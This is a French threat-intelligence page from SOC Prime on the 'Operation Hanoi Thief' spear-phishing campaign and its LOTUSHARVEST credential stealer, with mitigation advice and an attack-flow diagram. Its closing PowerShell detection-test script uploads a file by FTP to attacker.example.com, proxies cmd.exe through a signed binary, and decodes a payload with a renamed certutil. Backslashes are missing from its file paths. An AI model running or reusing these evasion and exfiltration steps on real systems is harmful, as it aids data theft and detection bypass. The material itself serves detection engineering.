SOC Prime Bias: Critique

02 Déc 2025 18:54

Opération Voleur de Hanoï : Acteur de la menace vise les équipes informatiques et de recrutement vietnamiennes

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
Opération Voleur de Hanoï : Acteur de la menace vise les équipes informatiques et de recrutement vietnamiennes
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

Une opération de spear phishing surnommée « Opération Hanoi Thief » livre une archive ZIP malveillante qui regroupe un raccourci (LNK) et un pseudo-document polyglotte. Le raccourci abuse de ftp.exe pour exécuter un script batch qui dépose une DLL nommée MsCtfMonitor.dll dans ProgramData puis effectue un chargement latéral de DLL via ctfmon.exe. Cette DLL, surnommée LOTUSHARVEST, vole les identifiants et l’historique des navigateurs puis exfiltre les données collectées via HTTPS.

Analyse de la Campagne Opération Hanoi Thief

Les chercheurs de l’équipe APT de SEQRITE Labs ont déballé l’archive ZIP, documenté la ligne de commande LNK abusant de ftp.exe, observé la création d’un exécutable certutil.exe renommé, et ont exploré la chaîne de chargement latéral de DLL. Ils ont également capturé des indicateurs de réseau impliqués dans l’exfiltration de données et attribué la campagne à un acteur de menace probablement soutenu par un État chinois.

Atténuation

Les conseils défensifs incluent le blocage de l’exécution de raccourcis LNK suspects, la limitation de l’utilisation des outils natifs de Windows comme ftp.exe et certutil.exe dans les scripts non fiables, l’application de contrôles autour des chemins de chargement de DLL, et la surveillance du trafic HTTPS sortant vers des domaines inconnus. Les organisations doivent également appliquer un filtrage strict des pièces jointes aux e-mails et renforcer la formation des utilisateurs autour des leurres de phishing à thème de recrutement.

Réponse

Déclenchez des alertes à l’apparition de MsCtfMonitor.dll dans ProgramData, lors d’exécutions de ftp.exe avec le drapeau -s, et pour les requêtes sortantes vers des domaines malveillants connus. Mettez en quarantaine tous les fichiers impactés, isolez l’end point compromis, et effectuez une rotation des mots de passe et des identifiants pour les navigateurs affectés.

mermaid graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#cccccc classDef file fill:#ffcc99 classDef process fill:#ff9966 classDef malware fill:#ff6666 classDef operator fill:#ff9900 %% Nodes action_phishing[« <b>Action</b> – <b>T1566.001 Phishing: Pièce jointe Spearphishing</b><br/>L’adversaire envoie un archive ZIP malveillante aux utilisateurs ciblés »] class action_phishing action file_malicious_zip[« <b>Fichier</b> – Nom : Le‑Xuan‑Son_CV.zip<br/>Contient CV.pdf.lnk et PDF/PNG déguisé »] class file_malicious_zip file action_user_exec[« <b>Action</b> – <b>T1204.002 Exécution Utilisateur : Fichier Malveillant</b><br/>La victime extrait l’archive et ouvre le raccourci »] class action_user_exec action file_lnk[« <b>Fichier</b> – Nom : CV.pdf.lnk (raccourci) »] class file_lnk file action_shortcut_mod[« <b>Action</b> – <b>T1547.009 Exécution au Démarrage ou à la Connexion : Modification de Raccourci</b><br/>LNK exécute ftp.exe avec l’argument –s »] class action_shortcut_mod action tool_ftp[« <b>Outil</b> – Nom : ftp.exe (binaire système Windows) »] class tool_ftp tool action_proxy_exec[« <b>Action</b> – <b>T1218 Exécution du Proxy Binaire Système</b><br/>Les binaires légitimes sont abusés pour exécuter des commandes cachées »] class action_proxy_exec action tool_device_cred_deploy[« <b>Outil</b> – Nom : DeviceCredentialDeployment.exe »] class tool_device_cred_deploy tool tool_certutil[« <b>Outil</b> – Nom : certutil.exe »] class tool_certutil tool action_masquerade[« <b>Action</b> – <b>T1036.008 Déguisement : Type de Fichier<br>T1036.007 Déguisement : Double Extension</b><br/>La charge utile déguisée en PDF/PNG et renommée ultérieurement »] class action_masquerade action file_masq_pdf[« <b>Fichier</b> – Nom : offsec‑certified‑professional.png (en réalité PDF) »] class file_masq_pdf file action_compression[« <b>Action</b> – <b>T1027.015 Fichiers ou Informations Obscurcis : Compression</b><br/>ZIP utilisé pour livrer la charge utile malveillante »] class action_compression action action_compile_after_delivery[« <b>Action</b> – <b>T1027.004 Compilation après Livraison</b><br/>DLL encodée en base64 extraite du script polyglotte »] class action_compile_after_delivery action action_dll_sideload[« <b>Action</b> – <b>T1574.002 Chargement Latéral de DLL</b><br/>DLL malveillante placée à côté de ctfmon.exe »] class action_dll_sideload action file_ctfmon_exe[« <b>Fichier</b> – Nom : ctfmon.exe (copié dans le répertoire de travail) »] class file_ctfmon_exe file file_malicious_dll[« <b>Fichier</b> – Nom : MsCtfMonitor.dll (malveillant) »] class file_malicious_dll malware action_process_injection[« <b>Action</b> – <b>T1055.001 Injection de Processus : Injection de DLL</b><br/>DLL chargé latéralement par ctfmon.exe exécute le code attaquant »] class action_process_injection action action_browser_discovery[« <b>Action</b> – <b>T1217 Découverte des Informations du Navigateur</b><br/>DLL lit les bases de données SQLite de Chrome et Edge pour les URL »] class action_browser_discovery action action_credential_extraction[« <b>Action</b> – <b>T1555.003 Identifiants à partir de Navigateur Web</b><br/>Mots de passe déchiffrés via CryptUnprotectData »] class action_credential_extraction action action_exfiltration_auto[« <b>Action</b> – <b>T1020 Exfiltration Automatisée</b><br/>Données préparées pour exfiltration via HTTPS »] class action_exfiltration_auto action action_exfiltration_c2[« <b>Action</b> – <b>T1041 Exfiltration via Canal C2</b><br/><b>T1102 Service Web</b><br/>Données postées vers le domaine attaquant via HTTP POST »] class action_exfiltration_c2 action %% Connections action_phishing u002du002d>|livre| file_malicious_zip file_malicious_zip u002du002d>|contient| file_lnk file_lnk u002du002d>|déclenché par| action_user_exec action_user_exec u002du002d>|aboutit à| action_shortcut_mod action_shortcut_mod u002du002d>|exécute| tool_ftp tool_ftp u002du002d>|utilisé dans| action_proxy_exec action_proxy_exec u002du002d>|utilise aussi| tool_device_cred_deploy action_proxy_exec u002du002d>|utilise aussi| tool_certutil action_shortcut_mod u002du002d>|utilise| action_masquerade action_masquerade u002du002d>|crée| file_masq_pdf action_masquerade u002du002d>|se base sur| action_compression action_compression u002du002d>|permet| action_compile_after_delivery action_compile_after_delivery u002du002d>|produit| file_malicious_dll action_compile_after_delivery u002du002d>|prépare| action_dll_sideload action_dll_sideload u002du002d>|place DLL avec| file_ctfmon_exe action_dll_sideload u002du002d>|place| file_malicious_dll file_ctfmon_exe u002du002d>|charge| file_malicious_dll file_malicious_dll u002du002d>|effectue| action_process_injection action_process_injection u002du002d>|permets| action_browser_discovery action_browser_discovery u002du002d>|alimente en données| action_credential_extraction action_credential_extraction u002du002d>|alimente en données| action_exfiltration_auto action_exfiltration_auto u002du002d>|envoie des données via| action_exfiltration_c2 %% Class Assignments class tool_ftp tool class tool_device_cred_deploy tool class tool_certutil tool class file_malicious_zip file class file_lnk file class file_masq_pdf file class file_ctfmon_exe file class file_malicious_dll malware

Flux d’attaque

Exécution de Simulation

Prérequis : Le contrôle pré-vol de la Télémétrie et de la Référence doit avoir été passé.

Rationale : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le scénario DOIVENT refléter directement les TTP identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.

  • Narrative et Commandes d’attaque :
    Un attaquant qui a obtenu un shell à faible privilège sur une machine Windows compromise souhaite exfiltrer des données et maintenir la furtivité.

    1. Étape 1 – Exécution de script FTP : L’attaquant crée un script temporaire upload.txt contenant des commandes FTP et exécute ftp.exe -s upload.txt pour transférer des fichiers vers un serveur externe.
    2. Étape 2 – Exécution de commande par proxy : Pour cacher l’utilisation de cmd.exe, l’attaquant lance DeviceCredentialDeployment.exe avec l’argument cmd.exe /c whoami; l’utilitaire signé déclenche un shell de commande caché, échappant aux alertes simples basées sur le nom du processus.
    3. Étape 3 – Usage déguisé de certutil : L’attaquant copie exécutable certutil.exe vers C:Templala.exe et exécute lala.exe -decode malicious.b64 output.exe pour décoder des charges, en utilisant le renommage pour contourner les détections basées sur le nom de fichier.
  • Script de Test de Régression : Le script PowerShell suivant reproduit les trois étapes de manière répétable.

    # Script de Test de Régression – déclenche la règle de détection
    # 1. FTP avec le drapeau -s
    $ftpScript = "$env:TEMPupload.txt"
    @"
    open attacker.example.com
    user testuser testpass
    put C:WindowsSystem32notepad.exe notepad.exe
    quit
    "@ | Set-Content -Path $ftpScript -Encoding ASCII
    Start-Process -FilePath "C:WindowsSystem32ftp.exe" -ArgumentList "-s `"$ftpScript`"" -NoNewWindow -Wait
    
    # 2. DeviceCredentialDeployment.exe proxying cmd.exe
    $dccPath = "C:Program FilesDeviceCredentialDeploymentDeviceCredentialDeployment.exe"
    if (Test-Path $dccPath) {
        Start-Process -FilePath $dccPath -ArgumentList "cmd.exe /c whoami" -WindowStyle Hidden -Wait
    } else {
        Write-Host "DeviceCredentialDeployment.exe not found – skipping step 2."
    }
    
    # 3. Exécution déguisée de certutil
    $original = "$env:SystemRootSystem32certutil.exe"
    $masq = "$env:TEMPlala.exe"
    Copy-Item -Path $original -Destination $masq -Force
    $payload = "$env:TEMPmalicious.b64"
    $output  = "$env:TEMPdecoded.exe"
    # Créer une charge utile base64 simulée
    [IO.File]::WriteAllText($payload, [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes("echo malicious")))
    Start-Process -FilePath $masq -ArgumentList "-decode `"$payload`" `"$output`"" -NoNewWindow -Wait
  • Commandes de Nettoyage : Supprimer les artefacts créés pendant le test.

    # Script de Nettoyage
    Remove-Item -Path "$env:TEMPupload.txt" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPmalicious.b64" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPdecoded.exe" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPlala.exe" -ErrorAction SilentlyContinue
    Write-Host "Nettoyage terminé."